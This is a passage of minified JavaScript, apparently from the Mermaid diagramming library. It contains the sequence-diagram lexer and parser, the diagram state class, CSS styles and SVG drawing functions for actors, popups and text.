2:if(_e=this.productions_[le[1]][1],ye.$=de[de.length-_e],ye._$={first_line:ne[ne.length-(_e||1)].first_line,last_line:ne[ne.length-1].last_line,first_column:ne[ne.length-(_e||1)].first_column,last_column:ne[ne.length-1].last_column},fe&&(ye._$.range=[ne[ne.length-(_e||1)].range[0],ne[ne.length-1].range[1]]),ve=this.performAction.apply(ye,[q,pe,Ve,Ne.yy,le[1],de,ne].concat(Le)),typeof ve<"u")return ve;_e&&(ae=ae.slice(0,-1*_e*2),de=de.slice(0,-1*_e),ne=ne.slice(0,-1*_e)),ae.push(this.productions_[le[1]][0]),de.push(ye.$),ne.push(ye._$),ze=Te[ae[ae.length-2]][ae[ae.length-1]],ae.push(ze);break;case 3:return!0}}return!0},"parse")},ue=(function(){var ee={EOF:1,parseError:o(function(K,ae){if(this.yy.parser)this.yy.parser.parseError(K,ae);else throw new Error(K)},"parseError"),setInput:o(function(Z,K){return this.yy=K||this.yy||{},this._input=Z,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var Z=this._input[0];this.yytext+=Z,this.yyleng++,this.offset++,this.match+=Z,this.matched+=Z;var K=Z.match(/(?:\r\n?|\n).*/g);return K?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),Z},"input"),unput:o(function(Z){var K=Z.length,ae=Z.split(/(?:\r\n?|\n)/g);this._input=Z+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-K),this.offset-=K;var Q=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),ae.length-1&&(this.yylineno-=ae.length-1);var de=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:ae?(ae.length===Q.length?this.yylloc.first_column:0)+Q[Q.length-ae.length].length-ae[0].length:this.yylloc.first_column-K},this.options.ranges&&(this.yylloc.range=[de[0],de[0]+this.yyleng-K]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(Z){this.unput(this.match.slice(Z))},"less"),pastInput:o(function(){var Z=this.matched.substr(0,this.matched.length-this.match.length);return(Z.length>20?"...":"")+Z.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var Z=this.match;return Z.length<20&&(Z+=this._input.substr(0,20-Z.length)),(Z.substr(0,20)+(Z.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var Z=this.pastInput(),K=new Array(Z.length+1).join("-");return Z+this.upcomingInput()+` +`+K+"^"},"showPosition"),test_match:o(function(Z,K){var ae,Q,de;if(this.options.backtrack_lexer&&(de={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(de.yylloc.range=this.yylloc.range.slice(0))),Q=Z[0].match(/(?:\r\n?|\n).*/g),Q&&(this.yylineno+=Q.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:Q?Q[Q.length-1].length-Q[Q.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+Z[0].length},this.yytext+=Z[0],this.match+=Z[0],this.matches=Z,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(Z[0].length),this.matched+=Z[0],ae=this.performAction.call(this,this.yy,this,K,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),ae)return ae;if(this._backtrack){for(var ne in de)this[ne]=de[ne];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var Z,K,ae,Q;this._more||(this.yytext="",this.match="");for(var de=this._currentRules(),ne=0;neK[0].length)){if(K=ae,Q=ne,this.options.backtrack_lexer){if(Z=this.test_match(ae,de[ne]),Z!==!1)return Z;if(this._backtrack){K=!1;continue}else return!1}else if(!this.options.flex)break}return K?(Z=this.test_match(K,de[Q]),Z!==!1?Z:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var K=this.next();return K||this.lex()},"lex"),begin:o(function(K){this.conditionStack.push(K)},"begin"),popState:o(function(){var K=this.conditionStack.length-1;return K>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(K){return K=this.conditionStack.length-1-Math.abs(K||0),K>=0?this.conditionStack[K]:"INITIAL"},"topState"),pushState:o(function(K){this.begin(K)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(K,ae,Q,de){var ne=de;switch(Q){case 0:return 5;case 1:break;case 2:break;case 3:break;case 4:break;case 5:break;case 6:return 19;case 7:return this.begin("CONFIG"),73;break;case 8:return 74;case 9:return this.popState(),this.popState(),75;break;case 10:return ae.yytext=ae.yytext.trim(),71;break;case 11:return ae.yytext=ae.yytext.trim(),this.begin("ALIAS"),71;break;case 12:return this.begin("LINE"),14;break;case 13:return this.begin("ID"),50;break;case 14:return this.begin("ID"),52;break;case 15:return 13;case 16:return this.begin("ID"),53;break;case 17:return ae.yytext=ae.yytext.trim(),this.begin("ALIAS"),71;break;case 18:return this.popState(),this.popState(),this.begin("LINE"),51;break;case 19:return this.popState(),this.popState(),5;break;case 20:return this.begin("LINE"),36;break;case 21:return this.begin("LINE"),37;break;case 22:return this.begin("LINE"),38;break;case 23:return this.begin("LINE"),39;break;case 24:return this.begin("LINE"),49;break;case 25:return this.begin("LINE"),41;break;case 26:return this.begin("LINE"),43;break;case 27:return this.begin("LINE"),48;break;case 28:return this.begin("LINE"),44;break;case 29:return this.begin("LINE"),47;break;case 30:return this.begin("LINE"),46;break;case 31:return this.popState(),15;break;case 32:return 16;case 33:return 66;case 34:return 67;case 35:return 60;case 36:return 61;case 37:return 62;case 38:return 63;case 39:return 58;case 40:return 55;case 41:return this.begin("ID"),21;break;case 42:return this.begin("ID"),23;break;case 43:return 29;case 44:return 30;case 45:return this.begin("acc_title"),31;break;case 46:return this.popState(),"acc_title_value";break;case 47:return this.begin("acc_descr"),33;break;case 48:return this.popState(),"acc_descr_value";break;case 49:this.begin("acc_descr_multiline");break;case 50:this.popState();break;case 51:return"acc_descr_multiline_value";case 52:return 6;case 53:return 18;case 54:return 20;case 55:return 65;case 56:return 5;case 57:return ae.yytext=ae.yytext.trim(),71;break;case 58:return 78;case 59:return 79;case 60:return 80;case 61:return 81;case 62:return 76;case 63:return 77;case 64:return 82;case 65:return 83;case 66:return 84;case 67:return 85;case 68:return 86;case 69:return 86;case 70:return 69;case 71:return 70;case 72:return 5;case 73:return"INVALID"}},"anonymous"),rules:[/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:((?!\n)\s)+)/i,/^(?:#[^\n]*)/i,/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[0-9]+(?=[ \n]+))/i,/^(?:@\{)/i,/^(?:[^\}]+)/i,/^(?:\})/i,/^(?:[^\<->\->:\n,;@\s]+(?=@\{))/i,/^(?:[^\<->\->:\n,;@]+?([\-]*[^\<->\->:\n,;@]+?)*?(?=((?!\n)\s)+as(?!\n)\s|[#\n;]|$))/i,/^(?:box\b)/i,/^(?:participant\b)/i,/^(?:actor\b)/i,/^(?:create\b)/i,/^(?:destroy\b)/i,/^(?:[^<\->\->:\n,;]+?([\-]*[^<\->\->:\n,;]+?)*?(?=((?!\n)\s)+as(?!\n)\s|[#\n;]|$))/i,/^(?:as\b)/i,/^(?:(?:))/i,/^(?:loop\b)/i,/^(?:rect\b)/i,/^(?:opt\b)/i,/^(?:alt\b)/i,/^(?:else\b)/i,/^(?:par\b)/i,/^(?:par_over\b)/i,/^(?:and\b)/i,/^(?:critical\b)/i,/^(?:option\b)/i,/^(?:break\b)/i,/^(?:(?:[:]?(?:no)?wrap)?[^#\n;]*)/i,/^(?:end\b)/i,/^(?:left of\b)/i,/^(?:right of\b)/i,/^(?:links\b)/i,/^(?:link\b)/i,/^(?:properties\b)/i,/^(?:details\b)/i,/^(?:over\b)/i,/^(?:note\b)/i,/^(?:activate\b)/i,/^(?:deactivate\b)/i,/^(?:title\s[^#\n;]+)/i,/^(?:title:\s[^#\n;]+)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:sequenceDiagram\b)/i,/^(?:autonumber\b)/i,/^(?:off\b)/i,/^(?:,)/i,/^(?:;)/i,/^(?:[^+<\->\->:\n,;]+((?!(-x|--x|-\)|--\)))[\-]*[^\+<\->\->:\n,;]+)*)/i,/^(?:->>)/i,/^(?:<<->>)/i,/^(?:-->>)/i,/^(?:<<-->>)/i,/^(?:->)/i,/^(?:-->)/i,/^(?:-[x])/i,/^(?:--[x])/i,/^(?:-[\)])/i,/^(?:--[\)])/i,/^(?::(?:(?:no)?wrap)?[^#\n;]*)/i,/^(?::)/i,/^(?:\+)/i,/^(?:-)/i,/^(?:$)/i,/^(?:.)/i],conditions:{acc_descr_multiline:{rules:[50,51],inclusive:!1},acc_descr:{rules:[48],inclusive:!1},acc_title:{rules:[46],inclusive:!1},ID:{rules:[2,3,7,10,11,17],inclusive:!1},ALIAS:{rules:[2,3,18,19],inclusive:!1},LINE:{rules:[2,3,31],inclusive:!1},CONFIG:{rules:[8,9],inclusive:!1},CONFIG_DATA:{rules:[],inclusive:!1},INITIAL:{rules:[0,1,3,4,5,6,12,13,14,15,16,20,21,22,23,24,25,26,27,28,29,30,32,33,34,35,36,37,38,39,40,41,42,43,44,45,47,49,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73],inclusive:!0}}};return ee})();J.lexer=ue;function re(){this.yy={}}return o(re,"Parser"),re.prototype=J,J.Parser=re,new re})();JF.parser=JF;Mye=JF});var XZe,jZe,KZe,b4,J6,e$=N(()=>{"use strict";Xt();w2();pt();fF();gr();ci();XZe={SOLID:0,DOTTED:1,NOTE:2,SOLID_CROSS:3,DOTTED_CROSS:4,SOLID_OPEN:5,DOTTED_OPEN:6,LOOP_START:10,LOOP_END:11,ALT_START:12,ALT_ELSE:13,ALT_END:14,OPT_START:15,OPT_END:16,ACTIVE_START:17,ACTIVE_END:18,PAR_START:19,PAR_AND:20,PAR_END:21,RECT_START:22,RECT_END:23,SOLID_POINT:24,DOTTED_POINT:25,AUTONUMBER:26,CRITICAL_START:27,CRITICAL_OPTION:28,CRITICAL_END:29,BREAK_START:30,BREAK_END:31,PAR_OVER_START:32,BIDIRECTIONAL_SOLID:33,BIDIRECTIONAL_DOTTED:34},jZe={FILLED:0,OPEN:1},KZe={LEFTOF:0,RIGHTOF:1,OVER:2},b4={ACTOR:"actor",BOUNDARY:"boundary",COLLECTIONS:"collections",CONTROL:"control",DATABASE:"database",ENTITY:"entity",PARTICIPANT:"participant",QUEUE:"queue"},J6=class{constructor(){this.state=new J1(()=>({prevActor:void 0,actors:new Map,createdActors:new Map,destroyedActors:new Map,boxes:[],messages:[],notes:[],sequenceNumbersEnabled:!1,wrapEnabled:void 0,currentBox:void 0,lastCreated:void 0,lastDestroyed:void 0}));this.setAccTitle=Rr;this.setAccDescription=Ir;this.setDiagramTitle=$r;this.getAccTitle=Mr;this.getAccDescription=Or;this.getDiagramTitle=Pr;this.apply=this.apply.bind(this),this.parseBoxData=this.parseBoxData.bind(this),this.parseMessage=this.parseMessage.bind(this),this.clear(),this.setWrap(ge().wrap),this.LINETYPE=XZe,this.ARROWTYPE=jZe,this.PLACEMENT=KZe}static{o(this,"SequenceDB")}addBox(e){this.state.records.boxes.push({name:e.text,wrap:e.wrap??this.autoWrap(),fill:e.color,actorKeys:[]}),this.state.records.currentBox=this.state.records.boxes.slice(-1)[0]}addActor(e,r,n,i,a){let s=this.state.records.currentBox,l;if(a!==void 0){let h;a.includes(` +`)?h=a+` +`:h=`{ +`+a+` +}`,l=Kh(h,{schema:jh})}i=l?.type??i;let u=this.state.records.actors.get(e);if(u){if(this.state.records.currentBox&&u.box&&this.state.records.currentBox!==u.box)throw new Error(`A same participant should only be defined in one Box: ${u.name} can't be in '${u.box.name}' and in '${this.state.records.currentBox.name}' at the same time.`);if(s=u.box?u.box:this.state.records.currentBox,u.box=s,u&&r===u.name&&n==null)return}if(n?.text==null&&(n={text:r,type:i}),(i==null||n.text==null)&&(n={text:r,type:i}),this.state.records.actors.set(e,{box:s,name:r,description:n.text,wrap:n.wrap??this.autoWrap(),prevActor:this.state.records.prevActor,links:{},properties:{},actorCnt:null,rectData:null,type:i??"participant"}),this.state.records.prevActor){let h=this.state.records.actors.get(this.state.records.prevActor);h&&(h.nextActor=e)}this.state.records.currentBox&&this.state.records.currentBox.actorKeys.push(e),this.state.records.prevActor=e}activationCount(e){let r,n=0;if(!e)return 0;for(r=0;r>-",token:"->>-",line:"1",loc:{first_line:1,last_line:1,first_column:1,last_column:1},expected:["'ACTIVE_PARTICIPANT'"]},l}return this.state.records.messages.push({id:this.state.records.messages.length.toString(),from:e,to:r,message:n?.text??"",wrap:n?.wrap??this.autoWrap(),type:i,activate:a}),!0}hasAtLeastOneBox(){return this.state.records.boxes.length>0}hasAtLeastOneBoxWithTitle(){return this.state.records.boxes.some(e=>e.name)}getMessages(){return this.state.records.messages}getBoxes(){return this.state.records.boxes}getActors(){return this.state.records.actors}getCreatedActors(){return this.state.records.createdActors}getDestroyedActors(){return this.state.records.destroyedActors}getActor(e){return this.state.records.actors.get(e)}getActorKeys(){return[...this.state.records.actors.keys()]}enableSequenceNumbers(){this.state.records.sequenceNumbersEnabled=!0}disableSequenceNumbers(){this.state.records.sequenceNumbersEnabled=!1}showSequenceNumbers(){return this.state.records.sequenceNumbersEnabled}setWrap(e){this.state.records.wrapEnabled=e}extractWrap(e){if(e===void 0)return{};e=e.trim();let r=/^:?wrap:/.exec(e)!==null?!0:/^:?nowrap:/.exec(e)!==null?!1:void 0;return{cleanedText:(r===void 0?e:e.replace(/^:?(?:no)?wrap:/,"")).trim(),wrap:r}}autoWrap(){return this.state.records.wrapEnabled!==void 0?this.state.records.wrapEnabled:ge().sequence?.wrap??!1}clear(){this.state.reset(),Sr()}parseMessage(e){let r=e.trim(),{wrap:n,cleanedText:i}=this.extractWrap(r),a={text:i,wrap:n};return X.debug(`parseMessage: ${JSON.stringify(a)}`),a}parseBoxData(e){let r=/^((?:rgba?|hsla?)\s*\(.*\)|\w*)(.*)$/.exec(e),n=r?.[1]?r[1].trim():"transparent",i=r?.[2]?r[2].trim():void 0;if(window?.CSS)window.CSS.supports("color",n)||(n="transparent",i=e.trim());else{let l=new Option().style;l.color=n,l.color!==n&&(n="transparent",i=e.trim())}let{wrap:a,cleanedText:s}=this.extractWrap(i);return{text:s?sr(s,ge()):void 0,color:n,wrap:a}}addNote(e,r,n){let i={actor:e,placement:r,message:n.text,wrap:n.wrap??this.autoWrap()},a=[].concat(e,e);this.state.records.notes.push(i),this.state.records.messages.push({id:this.state.records.messages.length.toString(),from:a[0],to:a[1],message:n.text,wrap:n.wrap??this.autoWrap(),type:this.LINETYPE.NOTE,placement:r})}addLinks(e,r){let n=this.getActor(e);try{let i=sr(r.text,ge());i=i.replace(/=/g,"="),i=i.replace(/&/g,"&");let a=JSON.parse(i);this.insertLinks(n,a)}catch(i){X.error("error while parsing actor link text",i)}}addALink(e,r){let n=this.getActor(e);try{let i={},a=sr(r.text,ge()),s=a.indexOf("@");a=a.replace(/=/g,"="),a=a.replace(/&/g,"&");let l=a.slice(0,s-1).trim(),u=a.slice(s+1).trim();i[l]=u,this.insertLinks(n,i)}catch(i){X.error("error while parsing actor link text",i)}}insertLinks(e,r){if(e.links==null)e.links=r;else for(let n in r)e.links[n]=r[n]}addProperties(e,r){let n=this.getActor(e);try{let i=sr(r.text,ge()),a=JSON.parse(i);this.insertProperties(n,a)}catch(i){X.error("error while parsing actor properties text",i)}}insertProperties(e,r){if(e.properties==null)e.properties=r;else for(let n in r)e.properties[n]=r[n]}boxEnd(){this.state.records.currentBox=void 0}addDetails(e,r){let n=this.getActor(e),i=document.getElementById(r.text);try{let a=i.innerHTML,s=JSON.parse(a);s.properties&&this.insertProperties(n,s.properties),s.links&&this.insertLinks(n,s.links)}catch(a){X.error("error while parsing actor details text",a)}}getActorProperty(e,r){if(e?.properties!==void 0)return e.properties[r]}apply(e){if(Array.isArray(e))e.forEach(r=>{this.apply(r)});else switch(e.type){case"sequenceIndex":this.state.records.messages.push({id:this.state.records.messages.length.toString(),from:void 0,to:void 0,message:{start:e.sequenceIndex,step:e.sequenceIndexStep,visible:e.sequenceVisible},wrap:!1,type:e.signalType});break;case"addParticipant":this.addActor(e.actor,e.actor,e.description,e.draw,e.config);break;case"createParticipant":if(this.state.records.actors.has(e.actor))throw new Error("It is not possible to have actors with the same id, even if one is destroyed before the next is created. Use 'AS' aliases to simulate the behavior");this.state.records.lastCreated=e.actor,this.addActor(e.actor,e.actor,e.description,e.draw,e.config),this.state.records.createdActors.set(e.actor,this.state.records.messages.length);break;case"destroyParticipant":this.state.records.lastDestroyed=e.actor,this.state.records.destroyedActors.set(e.actor,this.state.records.messages.length);break;case"activeStart":this.addSignal(e.actor,void 0,void 0,e.signalType);break;case"activeEnd":this.addSignal(e.actor,void 0,void 0,e.signalType);break;case"addNote":this.addNote(e.actor,e.placement,e.text);break;case"addLinks":this.addLinks(e.actor,e.text);break;case"addALink":this.addALink(e.actor,e.text);break;case"addProperties":this.addProperties(e.actor,e.text);break;case"addDetails":this.addDetails(e.actor,e.text);break;case"addMessage":if(this.state.records.lastCreated){if(e.to!==this.state.records.lastCreated)throw new Error("The created participant "+this.state.records.lastCreated.name+" does not have an associated creating message after its declaration. Please check the sequence diagram.");this.state.records.lastCreated=void 0}else if(this.state.records.lastDestroyed){if(e.to!==this.state.records.lastDestroyed&&e.from!==this.state.records.lastDestroyed)throw new Error("The destroyed participant "+this.state.records.lastDestroyed.name+" does not have an associated destroying message after its declaration. Please check the sequence diagram.");this.state.records.lastDestroyed=void 0}this.addSignal(e.from,e.to,e.msg,e.signalType,e.activate);break;case"boxStart":this.addBox(e.boxData);break;case"boxEnd":this.boxEnd();break;case"loopStart":this.addSignal(void 0,void 0,e.loopText,e.signalType);break;case"loopEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"rectStart":this.addSignal(void 0,void 0,e.color,e.signalType);break;case"rectEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"optStart":this.addSignal(void 0,void 0,e.optText,e.signalType);break;case"optEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"altStart":this.addSignal(void 0,void 0,e.altText,e.signalType);break;case"else":this.addSignal(void 0,void 0,e.altText,e.signalType);break;case"altEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"setAccTitle":Rr(e.text);break;case"parStart":this.addSignal(void 0,void 0,e.parText,e.signalType);break;case"and":this.addSignal(void 0,void 0,e.parText,e.signalType);break;case"parEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"criticalStart":this.addSignal(void 0,void 0,e.criticalText,e.signalType);break;case"option":this.addSignal(void 0,void 0,e.optionText,e.signalType);break;case"criticalEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break;case"breakStart":this.addSignal(void 0,void 0,e.breakText,e.signalType);break;case"breakEnd":this.addSignal(void 0,void 0,void 0,e.signalType);break}}getConfig(){return ge().sequence}}});var QZe,Oye,Pye=N(()=>{"use strict";QZe=o(t=>`.actor { + stroke: ${t.actorBorder}; + fill: ${t.actorBkg}; + } + + text.actor > tspan { + fill: ${t.actorTextColor}; + stroke: none; + } + + .actor-line { + stroke: ${t.actorLineColor}; + } + + .innerArc { + stroke-width: 1.5; + stroke-dasharray: none; + } + + .messageLine0 { + stroke-width: 1.5; + stroke-dasharray: none; + stroke: ${t.signalColor}; + } + + .messageLine1 { + stroke-width: 1.5; + stroke-dasharray: 2, 2; + stroke: ${t.signalColor}; + } + + #arrowhead path { + fill: ${t.signalColor}; + stroke: ${t.signalColor}; + } + + .sequenceNumber { + fill: ${t.sequenceNumberColor}; + } + + #sequencenumber { + fill: ${t.signalColor}; + } + + #crosshead path { + fill: ${t.signalColor}; + stroke: ${t.signalColor}; + } + + .messageText { + fill: ${t.signalTextColor}; + stroke: none; + } + + .labelBox { + stroke: ${t.labelBoxBorderColor}; + fill: ${t.labelBoxBkgColor}; + } + + .labelText, .labelText > tspan { + fill: ${t.labelTextColor}; + stroke: none; + } + + .loopText, .loopText > tspan { + fill: ${t.loopTextColor}; + stroke: none; + } + + .loopLine { + stroke-width: 2px; + stroke-dasharray: 2, 2; + stroke: ${t.labelBoxBorderColor}; + fill: ${t.labelBoxBorderColor}; + } + + .note { + //stroke: #decc93; + stroke: ${t.noteBorderColor}; + fill: ${t.noteBkgColor}; + } + + .noteText, .noteText > tspan { + fill: ${t.noteTextColor}; + stroke: none; + } + + .activation0 { + fill: ${t.activationBkgColor}; + stroke: ${t.activationBorderColor}; + } + + .activation1 { + fill: ${t.activationBkgColor}; + stroke: ${t.activationBorderColor}; + } + + .activation2 { + fill: ${t.activationBkgColor}; + stroke: ${t.activationBorderColor}; + } + + .actorPopupMenu { + position: absolute; + } + + .actorPopupMenuPanel { + position: absolute; + fill: ${t.actorBkg}; + box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2); + filter: drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4)); +} + .actor-man line { + stroke: ${t.actorBorder}; + fill: ${t.actorBkg}; + } + .actor-man circle, line { + stroke: ${t.actorBorder}; + fill: ${t.actorBkg}; + stroke-width: 2px; + } + +`,"getStyles"),Oye=QZe});var t$,Yf,jf,Kf,eC,Xf,T4,ZZe,tC,w4,o0,Bye,Fr,r$,JZe,eJe,tJe,rJe,nJe,iJe,aJe,sJe,oJe,lJe,cJe,uJe,hJe,Fye,fJe,dJe,pJe,mJe,gJe,yJe,vJe,$ye,xJe,oh,bJe,mi,zye=N(()=>{"use strict";t$=ja(tm(),1);qn();tr();gr();r2();Yf=36,jf="actor-top",Kf="actor-bottom",eC="actor-box",Xf="actor-man",T4=o(function(t,e){return Fd(t,e)},"drawRect"),ZZe=o(function(t,e,r,n,i){if(e.links===void 0||e.links===null||Object.keys(e.links).length===0)return{height:0,width:0};let a=e.links,s=e.actorCnt,l=e.rectData;var u="none";i&&(u="block !important");let h=t.append("g");h.attr("id","actor"+s+"_popup"),h.attr("class","actorPopupMenu"),h.attr("display",u);var f="";l.class!==void 0&&(f=" "+l.class);let d=l.width>r?l.width:r,p=h.append("rect");if(p.attr("class","actorPopupMenuPanel"+f),p.attr("x",l.x),p.attr("y",l.height),p.attr("fill",l.fill),p.attr("stroke",l.stroke),p.attr("width",d),p.attr("height",l.height),p.attr("rx",l.rx),p.attr("ry",l.ry),a!=null){var m=20;for(let v in a){var g=h.append("a"),y=(0,t$.sanitizeUrl)(a[v]);g.attr("xlink:href",y),g.attr("target","_blank"),bJe(n)(v,g,l.x+10,l.height+m,d,20,{class:"actor"},n),m+=30}}return p.attr("height",m),{height:l.height+m,width:d}},"drawPopup"),tC=o(function(t){return"var pu = document.getElementById('"+t+"'); if (pu != null) { pu.style.display = pu.style.display == 'block' ? 'none' : 'block'; }"},"popupMenuToggle"),w4=o(async function(t,e,r=null){let n=t.append("foreignObject"),i=await kh(e.text,Qt()),s=n.append("xhtml:div").attr("style","width: fit-content;").attr("xmlns","http://www.w3.org/1999/xhtml").html(i).node().getBoundingClientRect();if(n.attr("height",Math.round(s.height)).attr("width",Math.round(s.width)),e.class==="noteText"){let l=t.node().firstChild;l.setAttribute("height",s.height+2*e.textMargin);let u=l.getBBox();n.attr("x",Math.round(u.x+u.width/2-s.width/2)).attr("y",Math.round(u.y+u.height/2-s.height/2))}else if(r){let{startx:l,stopx:u,starty:h}=r;if(l>u){let f=l;l=u,u=f}n.attr("x",Math.round(l+Math.abs(l-u)/2-s.width/2)),e.class==="loopText"?n.attr("y",Math.round(h)):n.attr("y",Math.round(h-s.height))}return[n]},"drawKatex"),o0=o(function(t,e){let r=0,n=0,i=e.text.split(tt.lineBreakRegex),[a,s]=vc(e.fontSize),l=[],u=0,h=o(()=>e.y,"yfunc");if(e.valign!==void 0&&e.textMargin!==void 0&&e.textMargin>0)switch(e.valign){case"top":case"start":h=o(()=>Math.round(e.y+e.textMargin),"yfunc");break;case"middle":case"center":h=o(()=>Math.round(e.y+(r+n+e.textMargin)/2),"yfunc");break;case"bottom":case"end":h=o(()=>Math.round(e.y+(r+n+2*e.textMargin)-e.textMargin),"yfunc");break}if(e.anchor!==void 0&&e.textMargin!==void 0&&e.width!==void 0)switch(e.anchor){case"left":case"start":e.x=Math.round(e.x+e.textMargin),e.anchor="start",e.dominantBaseline="middle",e.alignmentBaseline="middle";break;case"middle":case"center":e.x=Math.round(e.x+e.width/2),e.anchor="middle",e.dominantBaseline="middle",e.alignmentBaseline="middle";break;case"right":case"end":e.x=Math.round(e.x+e.width-e.textMargin),e.anchor="end",e.dominantBaseline="middle",e.alignmentBaseline="middle";break}for(let[f,d]of i.entries()){e.textMargin!==void 0&&e.textMargin===0&&a!==void 0&&(u=f*a);let p=t.append("text");p.attr("x",e.x),p.attr("y",h()),e.anchor!==void 0&&p.attr("text-anchor",e.anchor).attr("dominant-baseline",e.dominantBaseline).attr("alignment-baseline",e.alignmentBaseline),e.fontFamily!==void 0&&p.style("font-family",e.fontFamily),s!==void 0&&p.style("font-size",s),e.fontWeight!==void 0&&p.style("font-weight",e.fontWeight),e.fill!==void 0&&p.attr("fill",e.fill),e.class!==void 0&&p.attr("class",e.class),e.dy!==void 0?p.attr("dy",e.dy):u!==0&&p.attr("dy",u);let m=d||BL;if(e.tspan){let g=p.append("tspan");g.attr("x",e.x),e.fill!==void 0&&g.attr("fill",e.fill),g.text(m)}else p.text(m);e.valign!==void 0&&e.textMargin!==void 0&&e.textMargin>0&&(n+=(p._groups||p)[0][0].getBBox().height,r=n),l.push(p)}return l},"drawText"),Bye=o(function(t,e){function r(i,a,s,l,u){return i+","+a+" "+(i+s)+","+a+" "+(i+s)+","+(a+l-u)+" "+(i+s-u*1.2)+","+(a+l)+" "+i+","+(a+l)}o(r,"genPoints");let n=t.append("polygon");return n.attr("points",r(e.x,e.y,e.width,e.height,7)),n.attr("class","labelBox"),e.y=e.y+e.height/2,o0(t,e),n},"drawLabel"),Fr=-1,r$=o((t,e,r,n)=>{t.select&&r.forEach(i=>{let a=e.get(i),s=t.select("#actor"+a.actorCnt);!n.mirrorActors&&a.stopy?s.attr("y2",a.stopy+a.height/2):n.mirrorActors&&s.attr("y2",a.stopy)})},"fixLifeLineHeights"),JZe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+e.height,l=t.append("g").lower();var u=l;n||(Fr++,Object.keys(e.links||{}).length&&!r.forceMenus&&u.attr("onclick",tC(`actor${Fr}_popup`)).attr("cursor","pointer"),u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),u=l.append("g"),e.actorCnt=Fr,e.links!=null&&u.attr("id","root-"+Fr));let h=ua();var f="actor";e.properties?.class?f=e.properties.class:h.fill="#eaeaea",n?f+=` ${Kf}`:f+=` ${jf}`,h.x=e.x,h.y=i,h.width=e.width,h.height=e.height,h.class=f,h.rx=3,h.ry=3,h.name=e.name;let d=T4(u,h);if(e.rectData=h,e.properties?.icon){let m=e.properties.icon.trim();m.charAt(0)==="@"?lT(u,h.x+h.width-20,h.y+10,m.substr(1)):oT(u,h.x+h.width-20,h.y+10,m)}oh(r,kn(e.description))(e.description,u,h.x,h.y,h.width,h.height,{class:`actor ${eC}`},r);let p=e.height;if(d.node){let m=d.node().getBBox();e.height=m.height,p=m.height}return p},"drawActorTypeParticipant"),eJe=o(function(t,e,r,n){let i=n?e.stopy:e.starty,a=e.x+e.width/2,s=i+e.height,l=t.append("g").lower();var u=l;n||(Fr++,Object.keys(e.links||{}).length&&!r.forceMenus&&u.attr("onclick",tC(`actor${Fr}_popup`)).attr("cursor","pointer"),u.append("line").attr("id","actor"+Fr).attr("x1",a).attr("y1",s).attr("x2",a).attr("y2",2e3).attr("class","actor-line 200").attr("stroke-width","0.5px").attr("stroke","#999").attr("name",e.name),u=l.append("g"),e.actorCnt=Fr,e.links!=null&&u.attr("id","root-"+Fr));let 